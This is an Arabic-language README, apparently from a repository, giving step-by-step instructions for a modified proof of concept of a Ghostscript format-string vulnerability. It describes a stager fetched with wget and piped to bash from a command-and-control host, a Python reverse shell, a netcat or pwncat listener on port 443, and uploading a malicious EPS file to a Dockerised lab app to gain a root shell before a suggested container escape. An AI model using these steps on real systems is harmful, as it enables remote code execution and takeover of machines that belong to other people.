البحث الأصلي وكود POC: https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/
ملاحظة: لم أُجرِ أي تغييرات على POC سوى الأمر الذي تم تنفيذه. يعود الفضل الكامل إلى Thomas Rinsma @ Codean Labs على أبحاثهم وPOC المذهلين.
السيناريو المحلي
- مغلف في سكريبت ستاجر لتنزيل وتشغيل سكريبت فحص لمعرفة ما إذا كان المضيف عرضة للثغرة
- تم تعديل POC لتنزيل وتنفيذ صدفة عكسية بلغة Python3
- تم تنزيل وتنفيذ الستاجر والصدفة العكسية عبر STDIN
- يترك POC أثراً في /tmp باسم عشوائي
على مضيف المهاجم:
- باستخدام pwncat-cs أو netcat، أنشئ مستمعاً على المنفذ 443
- انتقل إلى مجلد الاستغلال
- python3 -m http.server 80
على مضيف الضحية (Ubuntu 23.10 يقوم بتشغيل Ghostscript 10.01.2):
- افتح الطرفية ونفّذ:
export RHOST='<C2>'; wget -q http://$RHOST/run -O - | bash &
السيناريو البعيد (VulnApp)
- قم ببناء VulnApp باستخدام: 'docker build -t cve-2024-29510-demo:latest .' (يتطلب نسخة من https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10021/ghostscript-10.02.1.tar.gz في مجلد Dockerfile)
- شغّل VulnApp باستخدام: 'docker run --rm -p 5000:5000 cve-2024-29510-demo:latest'
- جرّب تحويل good.ps لاختبار الوظيفة. يجب أن يعيد PDF معروضاً بخطوط ترسم سهماً مثل '>'
- قم بإعداد خادم ويب على المنفذ 80 يستضيف shell.html مثل: 'python3 -m http.server 80'
- باستخدام pwncat-cs أو netcat، أنشئ مستمعاً على المنفذ 443
- ارفع bad.eps، سيتجمد VulnApp ويجب أن يلتقط المستمع صدفة عكسية للحاوية (تعمل بصلاحية root)
- اهرب من الحاوية!